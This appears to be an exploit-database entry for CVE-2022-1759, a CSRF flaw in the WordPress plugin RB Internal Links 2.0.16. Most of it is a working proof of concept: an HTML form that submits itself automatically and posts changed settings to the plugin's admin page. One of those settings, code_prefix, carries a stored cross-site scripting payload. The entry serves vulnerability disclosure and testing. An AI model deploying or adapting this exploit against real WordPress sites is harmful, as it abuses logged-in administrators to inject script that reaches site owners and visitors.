CVE: CVE-2022-1759

Name: RB Internal Links (rb-internal-links)

Version: 2.0.16

Date: 2022-04-20 20:39:12

Advisory: https://wpscan.com/vulnerability/d8e63f78-f38a-4f68-96ba-8059d175cea8

Type: CSRF

Exploit: 


<form action="https://example.com/wp-admin/options-general.php?page=rb-internal-links" method="POST">
    <input type="text" name="rbinternal_submit" value="1">
    <input type="text" name="tinymce" value="0">
    <input type="text" name="tinymce" value="1">
    <input type="text" name="return_param" value="id">
    <input type="text" name="default_text" value="url">
    <input type="text" name="code_prefix" value="<img src=x onerror=alert(1)>">
    <input type="text" name="code_suffix" value="bbb">
    <input type="text" name="page_order" value="post_title">
    <input type="text" name="Submit" value="Änderungen speichern">
</form>
<script>
    document.forms[0].submit();
</script>